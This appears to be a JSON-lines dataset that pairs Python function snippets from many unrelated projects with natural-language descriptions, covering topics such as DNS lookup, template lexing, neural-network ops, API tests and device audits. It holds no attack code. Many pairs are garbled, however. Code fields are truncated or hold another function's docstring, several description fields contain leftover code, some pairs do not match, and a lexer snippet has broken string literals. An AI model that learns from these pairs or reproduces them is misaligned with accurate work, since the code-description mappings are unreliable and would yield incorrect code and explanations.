initialisation of a dialogue.result = self.agent_dialogues._create_opponent_initiated(dialogue_opponent_addr=self.oef_node_addr,dialogue_reference=(str(0), \"\"),role=OefSearchDialogue.Role.AGENT,)assert isinstance(result, OefSearchDialogue)assert result.role == OefSearchDialogue.Role.AGENT, \"The role must be agent.\"class BuyerDialogue(OefSearchDialogue):The dialogue class maintains state of a dialogue and manages it."} {"code": "def test_more_seqs_than_available(self):\n result = list(transform.head(self.sequences, '10000'))\n self.assertEqual([s.id for s in self.sequences],\n [r.id for r in result])\n self.assertEqual([str(s.seq) for s in self.sequences],\n [str(r.seq) for r in result])\n", "nl": "Specifying more sequences than are in input records should returnthem all"} {"code": "def _declaration_file_extractor(plugin: p.SingletonPlugin):\n root = plugin.__module__.rsplit(\".\", 1)[0]\n file_ = inspect.getsourcefile(import_module(root))\n if not file_:\n log.error(\"Cannot locate source file for %s\", plugin)\n raise ValueError(plugin)\n return pathlib.Path(file_).parent.resolve()\n\n", "nl": "Compute the path to a file that contains config declarations.path = _plugin_root(plugin)options = list(path.glob(\"config_declaration.*\"))if not options:log.error(\"Unable to import config_declaration for \"\"blanket implementation of %s\",plugin.__name__,)raise FileNotFoundError(\"config_declaration.EXT\")if len(options) > 1:log.error(\"Found multiple declaration files for %s\", plugin.__name__)raise ValueError(options)return str(options[0])def _plugin_root(plugin: p.SingletonPlugin) -> pathlib.Path:Return the path to the plugin's root(`ckanext/ext`)."} {"code": "def watcher_getter(request, services_log):\n orig_request = request\n", "nl": "Popen object of given executable name and it's arguments.Wait for the process to start.Add finalizer to properly stop it."} {"code": "def __setitem__(self, key, value):\n RBTree implements a balanced binary tree with a dict-like interface.\n\n see: http://en.wikipedia.org/wiki/Red_black_tree\n \"\"\"", "nl": "N.__setitem__(key, value) <==> x[key]=value, where key is 0 (left) or 1 (right).if key == 0:self.left = valueelse:self.right = valueclass RBTree(_ABCTree):"} {"code": "def get_training_samples(self, model=None):\n return self._get_samples(self._questions_train, model=model)\n", "nl": "Get a set of training samples. A tuple is returned where the first element is a list ofgraph sets and the second element is a list of indices. An index points to the correct graph parsefrom the corresponding graph set. Graph sets are all of size 30, negative graphs are subsampled orrepeatedly sampled if there are more or less negative graphs respectively.Graph are stored in triples, where the first element is the graph.:param model: an optional qamodel that is used to select the negative samples, otherwise random:return: a set of training samples."} {"code": "def suggest(self, trial_id):\n raise NotImplementedError\n", "nl": "Queries the algorithm to retrieve the next set of parameters.Arguments:trial_id (str): Trial ID used for subsequent notifications.Returns:dict|None: Configuration for a trial, if possible."} {"code": "def _test_forward_gauge_equivariance(self, mode):\n model = MobiusGaugeCNN(kernel_size=5, ch_in=3, classes=10, mode=mode)\n model.eval()\n model = model.double()\n img_orig = torch.randn((2, 3, 28, 28), dtype=torch.double)\n out_orig = model(img_orig)\n img_flip = gauge_transform(img_orig, in_fields=(3,0,0))\n out_flip = model(img_flip)\n return torch.allclose(out_orig, out_flip)\n", "nl": "Checking gauge invariance of the forward pass of the model specified by the argument 'mode'((w.r.t. global flip of gauges)"} {"code": "def __iter__(self):\n for member in self.col:\n yield self._get(member)\n return\n", "nl": "Iterate over proxied values.For the actual domain objects, iterate over .col instead or just usethe underlying collection directly from its property on the parent."} {"code": "def do_something(*args, **kwargs):\n Check the computed values from calculators.\n \"\"\"", "nl": "A function that does something.passself.assertEquals(\"do_something\", do_something.__name__)self.assertEquals(\"A function that does something.\", do_something.__doc__)self.assertTrue(get_calculator(123456))self.assertRaises(UndefinedCalculator, get_calculator, 654321)def test_calculator_values(self):"} {"code": "def options(self):\n return self.mtime\n\n @staticmethod", "nl": "ConfigObj objectself._refresh()return self.conf@propertydef id(self):Conf ID to detect changes"} {"code": "def test_prob_vacuum_event(self):\n graph = nx.complete_graph(5)\n assert similarity.prob_event_exact(graph, 0, 0, 0) == 1.0\n\n @pytest.mark.parametrize(\"k\", [3, 5, 7, 9])\n @pytest.mark.parametrize(\"nmax\", [1, 2])", "nl": "Tests if the function gives the right probability for an event with zero photons whenthe GBS device has been configured to have zero mean photon number."} {"code": "def relpath(self, path):\n successive checking of candidate paths. If the real path is stored with\n an extension, the path is considered a match if the basename matches\n the expected file path of the id.\n \"\"\"", "nl": "Return `path` relative to the :attr:`root` directory.return os.path.relpath(path, self.root)def realpath(self, file):Attempt to determine the real path of a file id or path through"} {"code": "def resume_processing(self, *args):\n all_workers = self.redis.smembers(\"retools:workers\")\n known_workers = self.worker_pids()\n hostname = socket.gethostname()\n for worker in all_workers:\n host, pid, queues = worker.split(':')\n if host != hostname or pid in known_workers:\n continue\n self.unregister_worker(worker)\n", "nl": "Resume pulling jobs for processing off the queueself.paused = Falsedef prune_dead_workers(self):Prune dead workers from Redis"} {"code": "def get_deepest_match(self, name):\n\n depth = len(name)\n if depth > self.max_depth:\n depth = self.max_depth\n for i in xrange(-depth, 0):\n n = dns.name.Name(name[i:])\n if n in self:\n return (n, self[n])\n v = self[dns.name.empty]\n return (dns.name.empty, v)", "nl": "Find the deepest match to *fname* in the dictionary.The deepest match is the longest name in the dictionary which isa superdomain of *name*. Note that *superdomain* includes matching*name* itself.*name*, a ``dns.name.Name``, the name to find.Returns a ``(key, value)`` where *key* is the deepest``dns.name.Name``, and *value* is the value associated with *key*."} {"code": "def tokeniter(self, source, name, filename=None, state=None):\n source = text_type(source)\n lines = source.splitlines()\n if self.keep_trailing_newline and source:\n for newline in (\"\\r\\n\", \"\\r\", \"\\n\"):\n if source.endswith(newline):\n lines.append(\"\")\n break\n source = \"\\n\".join(lines)\n pos = 0\n lineno = 1\n stack = [\"root\"]\n if state is not None and state != \"root\":\n assert state in (\"variable\", \"block\"), \"invalid state\"\n stack.append(state + \"_begin\")\n statetokens = self.rules[stack[-1]]\n source_length = len(source)\n balancing_stack = []\n lstrip_unless_re = self.lstrip_unless_re\n newlines_stripped = 0\n line_starting = True\n\n while 1:\n for regex, tokens, new_state in statetokens:\n m = regex.match(source, pos)\n if m is None:\n continue\n\n if balancing_stack and tokens in (\n TOKEN_VARIABLE_END,\n TOKEN_BLOCK_END,\n TOKEN_LINESTATEMENT_END,\n ):\n continue\n\n if isinstance(tokens, tuple):\n groups = m.groups()\n\n if isinstance(tokens, OptionalLStrip):\n text = groups[0]\n\n strip_sign = next(g for g in groups[2::2] if g is not None)\n\n if strip_sign == \"-\":\n stripped = text.rstrip()\n newlines_stripped = text[len(stripped) :].count(\"\\n\")\n groups = (stripped,) + groups[1:]\n elif (\n strip_sign != \"+\"\n and lstrip_unless_re is not None\n and not m.groupdict().get(TOKEN_VARIABLE_BEGIN)\n ):\n l_pos = text.rfind(\"\\n\") + 1\n if l_pos > 0 or line_starting:\n if not lstrip_unless_re.search(text, l_pos):\n groups = (text[:l_pos],) + groups[1:]\n\n for idx, token in enumerate(tokens):\n if token.__class__ is Failure:\n raise token(lineno, filename)\n elif token == \"\n for key, value in iteritems(m.groupdict()):\n if value is not None:\n yield lineno, key, value\n lineno += value.count(\"\\n\")\n break\n else:\n raise RuntimeError(\n \"%r wanted to resolve \"\n \"the token dynamically\"\n \" but no group matched\" % regex\n )\n else:\n data = groups[idx]\n if data or token not in ignore_if_empty:\n yield lineno, token, data\n lineno += data.count(\"\\n\") + newlines_stripped\n newlines_stripped = 0\n\n else:\n data = m.group()\n if tokens == TOKEN_OPERATOR:\n if data == \"{\":\n balancing_stack.append(\"}\")\n elif data == \"(\":\n balancing_stack.append(\")\")\n elif data == \"[\":\n balancing_stack.append(\"]\")\n elif data in (\"}\", \")\", \"]\"):\n if not balancing_stack:\n raise TemplateSyntaxError(\n \"unexpected '%s'\" % data, lineno, name, filename\n )\n expected_op = balancing_stack.pop()\n if expected_op != data:\n raise TemplateSyntaxError(\n \"unexpected '%s', \"\n \"expected '%s'\" % (data, expected_op),\n lineno,\n name,\n filename,\n )\n if data or tokens not in ignore_if_empty:\n yield lineno, tokens, data\n lineno += data.count(\"\\n\")\n\n line_starting = m.group()[-1:] == \"\\n\"\n\n pos2 = m.end()\n\n if new_state is not None:\n if new_state == \"\n stack.pop()\n elif new_state == \"\n for key, value in iteritems(m.groupdict()):\n if value is not None:\n stack.append(key)\n break\n else:\n raise RuntimeError(\n \"%r wanted to resolve the \"\n \"new state dynamically but\"\n \" no group matched\" % regex\n )\n else:\n stack.append(new_state)\n statetokens = self.rules[stack[-1]]\n elif pos2 == pos:\n raise RuntimeError(\n \"%r yielded empty string without stack change\" % regex\n )\n pos = pos2\n break\n else:\n if pos >= source_length:\n return\n raise TemplateSyntaxError(\n \"unexpected char %r at %d\" % (source[pos], pos),\n lineno,\n name,\n filename,\n )", "nl": "This method tokenizes the text and returns the tokens in agenerator. Use this method if you just want to tokenize a template."} {"code": "def gotBossZapped(self):\n if self.TugOfWarControls:\n self.__pressHandler(0)\n", "nl": "Handle the local toon getting hit by a ranged attack.self.showExiting()self.d_requestFree(True)def __upArrowKeyPressed(self):Handle up arrow being pressed down."} {"code": "def _parse_data(self, data):\n return data.get('rows', [])\n", "nl": "Used to extract the rows content from the JSON result content"} {"code": "def testVariadicExpression(self):\n original = query.Query((\"&\", (\"var\", \"w\")))\n expected = query.Query((\"var\", \"w\"))\n\n self.assertEqual(normalize.normalize(original), expected)\n", "nl": "Make sure variadic expressions are normalized.original = query.Query((\"&\",(\"|\", (\"var\", \"x\"), (\"|\", (\"var\", \"y\"), (\"var\", \"z\"))),(\"var\", \"w\")))expected = query.Query((\"&\",(\"|\", (\"var\", \"x\"), (\"var\", \"y\"), (\"var\", \"z\")),(\"var\", \"w\")))self.assertEqual(normalize.normalize(original), expected)def testVariadicExpressionElimination(self):Make sure variadic expressions are eliminated."} {"code": "def dtype_short_repr(dtype):\n if dtype.names is not None:\n return str(dtype)\n elif issubclass(dtype.type, flexible):\n return \"'%s'\" % str(dtype)\n\n typename = dtype.name\n if typename and not (typename[0].isalpha() and typename.isalnum()):\n typename = repr(typename)\n\n return typename\n\n", "nl": "Convert a dtype to a short form which evaluates to the same dtype.The intent is roughly that the following holds>>> from numpy import *>>> assert eval(dtype_short_repr(dt)) == dt"} {"code": "def v3dist(pt1, pt2):\n d = pt1 - pt2\n return math.sqrt(d[0]*d[0] + d[1]*d[1] + d[2]*d[2])\n", "nl": "Calculates the distance between two 3d points element-wisealong an array"} {"code": "def can_invoke(cmd: str, args: str = '-h'):\n try:\n subprocess.run(args=[cmd, *args.split(' ')], check=True, capture_output=True)\n except:\n return False\n return True\n\n", "nl": "Return True if the specified command can be invoked, False otherwise.The command should be able to be invoked as `cmd -h` and return code 0 (or override`args` accordingly to achieve the same behaviour).Used to test if certain external programs (e.g. ffmpeg, mkvmerge) are available toconditionally enable/disable tests that require them."} {"code": "def recenter(positions):\n (x0, y0, z0), (x1, y1, z1) = bounding_box(positions)\n dx = x1 - (x1 - x0) / 2.0\n dy = y1 - (y1 - y0) / 2.0\n dz = z1 - (z1 - z0) / 2.0\n result = []\n for x, y, z in positions:\n result.append((x - dx, y - dy, z - dz))\n return result\n", "nl": "Returns a list of new positions centered around the origin."} {"code": "def to_db(self):\n data = {\n 'offset' : self.offset,\n 'original_name' : self.original_name,\n 'author' : self.creator,\n 'id' : self.id,\n 'changed' : self.has_changed\n }\n\n return json.dumps(data)\n", "nl": "Provides data structure for the IDB's DB.Returns:dict: FIRST information for the DB.{'offset' : :obj:`int`,'original_name' : :obj:`str`,'author' : :obj:`str`,'id' : :obj:`str`,'changed' : :obj:`bool`}"} {"code": "def get_database(self, id):\n return self.take(self.get_databases(), id)\n\n", "nl": "Forge a piece of SQL returning the name of the id-th database."} {"code": "def sim_score(self, src: str, tar: str) -> float:\n if src == tar:\n return 1.0\n if not src or not tar:\n return 0.0\n\n self._tokenize(src, tar)\n\n a = self._intersection_card()\n b = self._src_only_card()\n c = self._tar_only_card()\n n = self._population_unique_card()\n\n part1 = a / n\n if part1 == 0:\n part1 = 1\n\n return min(\n 1.0, 1 + log(part1) - (log((a + b) / n) + log((a + c) / n)) / 2\n )\n", "nl": "Return the Unknown F similarity between two strings.Parameters----------src : strSource string (or QGrams/Counter objects) for comparisontar : strTarget string (or QGrams/Counter objects) for comparisonReturns-------floatUnknown F similarityExamples-------->>> cmp = UnknownF()>>> cmp.sim_score('cat', 'hat')0.3068528194400555>>> cmp.sim_score('Niall', 'Neil')-0.007451510271132555>>> cmp.sim_score('aluminum', 'Catalan')-1.1383330595080272>>> cmp.sim_score('ATCG', 'TAGC')1.0.. versionadded:: 0.4.0"} {"code": "def test_nested_decorated_differently(self) -> None: # pylint: disable=invalid-name\n data = json.loads('{\"pos\": {\"x_val\": 1, \"y_val\": \"2\"}, \"val\": 3}')\n with self.assertRaises(TypeError):\n NestedDecoratedConvertPointSkip(**data)\n", "nl": "Should use settings from inner class for inner ctordata = json.loads('{\"pos\": {\"x_val\": 1, \"y_val\": 2, \"foo\": 4}, \"val\": \"3\"}')nested: NestedDecoratedConvertPointSkip = \\NestedDecoratedConvertPointSkip(**data)self.check_result(nested)def test_nested_decorated_differently_err_inner(self) -> None: # pylint: disable=invalid-nameShould use settings from inner class for inner ctor"} {"code": "def join(a, *p):\n everything after the final slash. Either part may be empty.\"\"\"", "nl": "Join two or more pathname components, inserting '/' as neededpath = afor b in p:if b.startswith('/'):path = belif path == '' or path.endswith('/'):path += belse:path += '/' + breturn path# Split a path in head (everything up to the last '/') and tail (the# rest). If the path ends in '/', tail will be empty. If there is no# '/' in the path, head will be empty.# Trailing '/'es are stripped from head unless it is the root.def split(p):Split a pathname. Returns tuple \"(head, tail)\" where \"tail\" is"} {"code": "def ascii(s):\n return s.encode('ASCII')\n\n", "nl": "r>>> ascii('Hello')'Hello'>>> ascii(u'Hello')'Hello'>>> ascii(u'\\N{TRADE MARK SIGN}') #doctest: +IGNORE_EXCEPTION_DETAILTraceback (most recent call last):...UnicodeEncodeError: ..."} {"code": "def fix_attributes_only(self, attrs, onu_db, olt_db):\n successes = 0\n failures = 0\n me_map = self._device.me_map\n\n\n attr_map = dict()\n for cid, eid, attribute in attrs:\n if (cid, eid) not in attr_map:\n attr_map[(cid, eid)] = {attribute}\n else:\n attr_map[(cid, eid)].add(attribute)\n\n for entity_pair, attributes in attr_map.items():\n cid = entity_pair[0]\n eid = entity_pair[1]\n\n if cid not in me_map:\n self.log.warn('no-me-map-decoder', class_id=cid)\n failures += 1\n continue\n", "nl": "Fix ME's that were found on both the ONU and OLT, but had differingattribute values. There are several cases to handle hereo For ME's created on the ONU that have write attributes thatonly exist in the ONU's database, copy these to the OLT/OpenOMCIdatabaseo For all other writeable attributes, the OLT value takes precedence:param attrs: (list(int,int,str)) List of tuples where (class_id, inst_id, attribute)points to the specific ME instance where attributesare different:param onu_db: (dict) ONU Database snapshot at time of audit:param olt_db: (dict) OLT Database snapshot at time of audit:return: (int, int) successes, failures"} {"code": "def resnet18(pretrained=False, progress=True, **kwargs):\n return _resnet(\"resnet18\", BasicBlock, [2, 2, 2, 2], pretrained, progress, **kwargs)\n\n", "nl": "rResNet-18 model from`\"Deep Residual Learning for Image Recognition\" `_Parameters:- **pretrained** (bool): If True, returns a model pre-trained on ImageNet- **progress** (bool): If True, displays a progress bar of the download to stderr"} {"code": "def init_from(self, other):\n returns a MorphRestrictions object, limiting morphisms to desired search spaces\n 'darts_like' almost like DARTS, may end up with stacked dilated sep convs or unstacked sep convs however\n 'unrestricted' no restrictions imposed on expansion ratios\n 'r_depth' expansion ratios may be wide but not stacked\n \"\"\"", "nl": " init weights to be as similar to 'other' as possible for i in range(0, len(other.op)):self.op[i].init_from(other.op[i])for i in range(len(other.op), len(self.op)):self.op[i].make_identity()@staticmethoddef get_morphed_kwargs(restrictions: MorphRestrictions, c_mul=[], k=3, dil=1):c_mul = copy.deepcopy(c_mul)while True:r = np.random.randint(0, 6, 1)[0]if r == 0:# increase k if possibleif k+2 > restrictions.conv_max_k:continuek += 2elif r == 1:# decrease k if possibleif k-2 < restrictions.conv_min_k:continueif k-2 == 1 and dil >= 2:continuek -= 2elif r == 2:# increase dilationif k == 1 or dil >= restrictions.conv_max_dil:continuedil += 1elif r == 3:# decrease dilationif dil <= 1 or (k == 1 and dil == 2):continuedil -= 1elif r == 4:# insert convolutionif len(c_mul) >= restrictions.conv_max_c_mul_len or sum(c_mul) >= restrictions.conv_max_c_mul_num:continuec_mul.append(1)elif r == 5:# expand the smallest convolution if availableif len(c_mul) <= 0:continueidx = np.argmin(c_mul).__int__()if c_mul[idx] >= restrictions.conv_max_c_mul_width or sum(c_mul) >= restrictions.conv_max_c_mul_num:continuec_mul[idx] += 1return {'c_mul': c_mul,'k': k,'dil': dil,}def forward(self, x):return self.op(x)class SkipOp(Op):def __init__(self, c_in, c_out, stride, affine, **_):super(SkipOp, self).__init__(c_in, c_out, stride, affine, _)self.stride = strideif stride == 1:self.op = lambda x: xelse:self.op = FactorizedReduce(c_in, c_out, affine=affine)@staticmethoddef label_str():return 'Skip()'def is_identity_op(self):return self.stride == 1def forward(self, x):return self.op(x)class ZeroOp(Op):def __init__(self, c_in, c_out, stride, affine, **_):super(ZeroOp, self).__init__(c_in, c_out, stride, affine, _)self.stride = stride@staticmethoddef label_str():return 'Zero()'def forward(self, x):n, c, h, w = x.size()h //= self.stridew //= self.strideif x.is_cuda:with torch.cuda.device(x.get_device()):padding = torch.cuda.FloatTensor(n, c, h, w).fill_(0)else:padding = torch.FloatTensor(n, c, h, w).fill_(0)return padding# just for AmoebaNetclass Conv7x1x1x7Op(Op):def __init__(self, c_in, c_out, stride, affine, **_):super(Conv7x1x1x7Op, self).__init__(c_in, c_out, stride, affine, _)self.op = nn.Sequential(nn.ReLU(inplace=False),nn.Conv2d(c_in, c_out, (1,7), stride=(1, stride), padding=(0, 3), bias=False),nn.Conv2d(c_out, c_out, (7,1), stride=(stride, 1), padding=(3, 0), bias=False),nn.BatchNorm2d(c_out, affine=affine))@staticmethoddef label_str():return 'Conv(1x7, 7x1)'def forward(self, x):return self.op(x)# used in model.py to correct channel sizesclass ReLUConvBN(nn.Module):def __init__(self, C_in, C_out, kernel_size, stride, padding, affine=True):super(ReLUConvBN, self).__init__()self.op = nn.Sequential(nn.ReLU(inplace=False),nn.Conv2d(C_in, C_out, kernel_size, stride=stride, padding=padding, bias=False),nn.BatchNorm2d(C_out, affine=affine))def forward(self, x):return self.op(x)# for SkipOp and moreclass FactorizedReduce(nn.Module):def __init__(self, C_in, C_out, affine=True):super(FactorizedReduce, self).__init__()assert C_out % 2 == 0self.relu = nn.ReLU(inplace=False)self.conv_1 = nn.Conv2d(C_in, C_out // 2, 1, stride=2, padding=0, bias=False)self.conv_2 = nn.Conv2d(C_in, C_out // 2, 1, stride=2, padding=0, bias=False)self.bn = nn.BatchNorm2d(C_out, affine=affine)def forward(self, x):x = self.relu(x)out = torch.cat([self.conv_1(x), self.conv_2(x[:, :, 1:, 1:])], dim=1)out = self.bn(out)return outOPS = {'none': ZeroOp,'pool': PoolOp,'skip': SkipOp,'conv': ConvOp,'conv_7x1_1x7': Conv7x1x1x7Op}def make_op(name, c, stride, affine, kwargs) -> Op:return OPS.get(name)(c, c, stride, affine, **kwargs)def op_as_str(name, kwargs) -> str:values = sorted(zip(kwargs.keys(), kwargs.values()), key=lambda v: v[0])return name+str(values)def get_morphed_kwargs(restrictions: MorphRestrictions, name, kwargs) -> (str, dict, str):morphed_kwargs = OPS.get(name).get_morphed_kwargs(restrictions, **kwargs)if morphed_kwargs is None:return None, None, Nonereturn name, morphed_kwargs, op_as_str(name, morphed_kwargs)def get_morph_restrictions(type_: str) -> MorphRestrictions:"} {"code": "def runtest(self):", "nl": " execute the underlying test function. self.ihook.pytest_pyfunc_call(pyfuncitem=self)def setup(self):super().setup()fixtures.fillfixtures(self)class FunctionDefinition(Function):"} {"code": "def __enter__(self) -> Any:\n if exc_type is None:\n return\n\n if (self.expected_exc_type is not None\n and exc_type != self.expected_exc_type):\n raise\n\n if self.print_traceback:\n lines = ''.join(\n traceback.format_exception(\n exc_type,\n exc_value,\n tb)).strip()\n else:\n lines = traceback.format_exception_only(\n exc_type, exc_value)[-1].strip()\n\n if not self.mute:\n print(lines, \"(expected)\", file=sys.stderr)\n return True\n", "nl": "Begin of `with` blockreturn selfdef __exit__(self, exc_type: type,exc_value: BaseException, tb: TracebackType) -> Optional[bool]:End of `with` block"} {"code": "def initialize(self, **dargs):\n self.is_enabled = False\n\n kvm_stat_installed = False\n try:\n self.stat_path = os_dep.command('kvm_stat')\n kvm_stat_installed = True\n except ValueError:\n logging.error('Command kvm_stat not present')\n\n if kvm_stat_installed:\n try:\n utils.run(\"%s --batch\" % self.stat_path)\n self.is_enabled = True\n except error.CmdError as e:\n if 'debugfs' in str(e):\n try:\n utils.run('mount -t debugfs debugfs /sys/kernel/debug')\n except error.CmdError as e:\n logging.error('Failed to mount debugfs:\\n%s', str(e))\n else:\n logging.error('Failed to execute kvm_stat:\\n%s', str(e))\n", "nl": "Gets path of kvm_stat and verifies if debugfs needs to be mounted."} {"code": "def test_api_with_guest_apikey_in_header_403_forbidden(_, testapp):\n Verifies behavior of these API endpoints when not logged in.\n All API endpoint requests should return 401 (unauthorized).\n \"\"\"", "nl": "Verifies behavior of these API endpoints with an apikey in the header.print(\"\\nTest: test_api_with_guest_apikey_in_header_403_forbidden\")# Test all endpointsfor index, route in enumerate(api_endpoints):print(\"test_api_with_guest_apikey_in_header_403_forbidden: Test Route ({}/{}): testapp.get('/api/{}')\".format(index + 1, len(api_endpoints), route[0]))response = testapp.get('/api/{add}'.format(add=route[0]),headers={'Accept': 'application/vnd.mycodo.v1+json','X-API-KEY': base64.b64encode(b'secret_guest_api_key')},expect_errors=True).maybe_follow()assert response.status_code == 403, \"Endpoint Tested: {page}\".format(page=route[0])def test_api_when_not_logged_in(testapp):"} {"code": "def model_to_dict(self):\n return model_to_dict(self, backrefs=True)", "nl": "Retrieve all related objects recursively andthen converts the resulting objects to a dictionary.:return:"} {"code": "def test_two_arrays(self):\n units = [None, None]\n a = array((1, 2, 3))\n b = array((3, 4, 5))\n aa, bb = convert_units(units, a, b)\n self.assertTrue(all(a == aa))\n self.assertTrue(all(b == bb))\n", "nl": " Does it pass a two arrays through correctly?"} {"code": "def _parse_write_concern(options):\n concern = options.get(\"readconcernlevel\")\n return ReadConcern(concern)\n\n", "nl": "Parse write concern options.concern = options.get(\"w\")wtimeout = options.get(\"wtimeoutms\")j = options.get(\"journal\")fsync = options.get(\"fsync\")return WriteConcern(concern, wtimeout, j, fsync)def _parse_read_concern(options):Parse read concern options."} {"code": "def test_xml_declaration_followed_by_doctype(self):\n soup = self.soup(markup)\n self.assertEqual(b\"

foo

\", soup.p.encode())\n", "nl": "markup =

foo

"} {"code": "def get_package(self, name, raises=True):\n self.db.remove()\n self.unregister()\n", "nl": " Get a Package return self.db.get_package(name, raises=raises)def remove(self): Remove the Toolchain "} {"code": "def test_check_new_header_same_header(self):\n header_timestamp = int(time.time()) - 100\n loc_header = net_header = {\n \"block_height\": 1,\n \"block_hash\": \"ff\"*32, \"timestamp\": header_timestamp - 700, 'header_bytes': b'', 'prev_block_hash': '00'*32\n }\n peer = Mock(server_info='mock_peer')\n self.interface.get_header.side_effect = [async_coro((peer, net_header))]\n self.sut.synced = True\n self.sut.set_last_processed_header(loc_header)\n self.assertFalse(self.sut.lock.locked())\n self.loop.run_until_complete(self.sut.check_headers())\n Mock.assert_called_once_with(self.delay_task_runner, coro_call('check_headers'), in_range(655, 660))\n Mock.assert_has_calls(\n self.interface.get_header,\n calls=[\n call(2, fail_silent_out_of_range=True, get_peer=True),\n ], any_order=True\n )\n self.assertEqual(1, len(self.interface.method_calls))\n self.assertEqual(1, len(self.electrod_loop.method_calls))\n self.assertEqual(0, len(self.repo.method_calls))\n", "nl": "test on fallback method check_headersno new header received"} {"code": "def update_where(self, col, value, where_col_list, where_value_list):\n if type(col) is str:\n col_ndx = self.get_col_by_name(col)\n else:\n col_ndx = col\n new_arr = self.select_where(where_col_list, where_value_list)\n for r in new_arr:\n self.arr[r[0]][col_ndx] = value\n\n", "nl": "updates the array to set cell = value where col_list == val_list"} {"code": "def eval(self, dataset, y_pred):\n return super(Kendalltau, self).eval(dataset, y_pred)\n\n", "nl": "This method computes the Kendall tau score over the entire dataset andthe detailed scores per query. It calls the eval_per query methodfor each query in order to get the detailed Kendall tau score.Parameters----------dataset : DatasetRepresents the Dataset object on which to apply Kendall Tau.y_pred : numpy 1d array of floatRepresents the predicted document scores for each instancein the dataset.Returns-------avg_score: floatThe overall Kendall tau score (averages over the detailed scores).detailed_scores: numpy 1d array of floatsThe detailed Kendall tau scores for each query, an array with lengthof the number of queries."} {"code": "def fix_sequence_ends(before_fasta, after_fasta):\n before_contigs = load_fasta(before_fasta)\n after_contigs = load_fasta(after_fasta)\n\n before_names = [x[0] for x in before_contigs]\n after_names = [x[0] for x in after_contigs]\n assert all(a in before_names for a in after_names)\n\n fixed_seqs = {}\n for before_name, before_seq in before_contigs:\n if before_name not in after_names:\n fixed_seq = ''\n else:\n after_seq = [x for x in after_contigs if x[0] == before_name][0][1]\n fixed_seq = fix_sequence_ends_one_pair(before_seq, after_seq)\n fixed_seqs[before_name] = fixed_seq\n return fixed_seqs\n\n", "nl": "Racon can sometimes drop the ends of sequences when polishing, so this function does somealignments and patches this up when it happens."} {"code": "def fanout_cast_to_server(context, server_params, topic, msg):\n return _get_impl().fanout_cast_to_server(CONF, context, server_params,\n topic, msg)\n\n", "nl": "Broadcast to a remote method invocation with no return.:param context: Information that identifies the user that has made thisrequest.:param server_params: Connection information:param topic: The topic to send the notification to.:param msg: This is a dict in the form { \"method\" : \"method_to_invoke\",\"args\" : dict_of_kwargs }:returns: None"} {"code": "def test_patch_relationship_on_to_many_set_to_empty_successful(self):\n\n A ValidationError is raised.\n \"\"\"", "nl": "Patch relationships on many and set to empty is successful.user = models.User(first='Sally', last='Smith',password='password', username='SallySmith1')self.session.add(user)blog_post = models.Post(title='This Is A Title', content='This is the content',author_id=user.id, author=user)self.session.add(blog_post)comment = models.Comment(content='This is comment 1', author_id=user.id,post_id=blog_post.id, author=user, post=blog_post)self.session.add(comment)self.session.commit()payload = {'data': []}models.serializer.patch_relationship(self.session, payload, 'posts', blog_post.id, 'comments')self.assertEqual(comment.post, None)def test_patch_relationship_on_to_one_with_empty_list(self):Patch relationship on to one with empty list returns 409."} {"code": "def width_condition(self, condition_width:str, post_width:str):\n\n if condition_width:\n if condition_width[0] == \"=\":\n if int(post_width) == int(condition_width.split(\"=\")[-1]):\n return True\n elif condition_width[0] == \"<\":\n if int(post_width) < int(condition_width.split(\"<\")[-1]):\n return True\n elif condition_width[0] == \">\":\n if int(post_width) > int(condition_width.split(\">\")[-1]):\n return True\n else:\n self.logger.critical(\"{}: width need to be in this format: >1024, <256 or =1920\".format(self.thread_url))\n exit(1)\n else:\n return True\n\n return False\n\n", "nl": "Check if the width condition match with the post_width width.Returns:True if it matches, False otherwise"} {"code": "def load_eastmoney():", "nl": " load detail from eastmoney if not os.path.exists(data_dir):os.makedirs(data_dir)req = requests.get(url, headers=header, timeout=30)origin_str = req.text parse json "} {"code": "def wait(command_name, sequence, base, parameters):\n duration=float(parameters.get('duration', '1.0'))\n sequence.append(Wait(duration))\n", "nl": "Parameters:float duration = 1.0Description:Pause for a number of seconds specified by the duration parameter."} {"code": "def temperature(self):\n return self._dust\n\n @property", "nl": "Temperature in Kelvin.return self._temperature@propertydef dust(self):Dust level."} {"code": "def get_market_trade_history(self, pair, count=100):\n\n params = {'symbol': self.format_pair(pair),\n 'count': count\n }\n\n return self.api(\"/funding\" + \"?\" +\n requests.compat.urlencode(params))\n", "nl": "get market trade historyparams = {'symbol': Bitmex.format_pair(pair),'count': count}return self.api(\"/trade\" + \"?\" +requests.compat.urlencode(params))def get_funding_history(self, pair, count=10):get market funding history"} {"code": "def add_model_specific_args(parent_parser: ArgumentParser) -> ArgumentParser:\n\n parser = parent_parser.add_argument_group(\"linear\")\n\n parser.add_argument(\"--backbone\", choices=BaseMethod._BACKBONES, type=str)", "nl": "Adds basic linear arguments.Args:parent_parser (ArgumentParser): argument parser that is used to create aargument group.Returns:ArgumentParser: same as the argument, used to avoid errors."} {"code": "def __init__(self, db_path):\n self._db_path: Text = db_path\n self._engine, self.session = create_session(self._db_path)\n", "nl": "Constructor.Args:db_path: Path to db to read or write"} {"code": "def constrain(self):\n self._constrain = bool(value)\n", "nl": "Return state of constrain to axis mode.return self._constrain@constrain.setterdef constrain(self, value):Set state of constrain to axis mode."} {"code": "def do_channel_group(self, line, opts):\n if line.strip() not in {\"get\", \"create\", \"update\", \"delete\"}:\n self.poutput(self.colorize('Error: ', 'red') +\n self.colorize(self.colorize(line.strip(), 'blue'),\n 'bold') + ' is not recognized')\n return\n\n stub = voltha_pb2_grpc.VolthaGlobalServiceStub(self.get_channel())\n\n if line.strip() == \"get\":\n if self.device_id:\n cg, cpart, cp, ct, vont, ont, venet, tdp, tcont, gemport = \\\n self.get_interface_based_on_device()\n print_pb_list_as_table(\"Channel Groups for device ID = {}:\"\n .format(self.device_id),\n cg, {}, self.poutput)\n else:\n interface = stub.GetAllChannelgroupConfig(Empty())\n print_pb_list_as_table(\"Channel Groups:\",\n interface.channelgroup_config,\n {}, self.poutput)\n return\n try:\n interface_instance = ChannelgroupConfig(name = opts.name)\n interface_instance.interface.name = opts.name\n if opts.description:\n interface_instance.interface.description = opts.description\n interface_instance.interface.type = \"channelgroup\"\n if opts.enabled:\n if opts.enabled == \"up\":\n interface_instance.interface.enabled = True\n elif opts.enabled == \"down\":\n interface_instance.interface.enabled = False\n else:\n self.poutput(\n self.colorize('Error: ', 'red') + self.colorize(\n self.colorize('Invalid admin state parameter for \\\n channel group', 'blue'), 'bold'))\n return\n if opts.link_up_down_trap_enable:\n types = 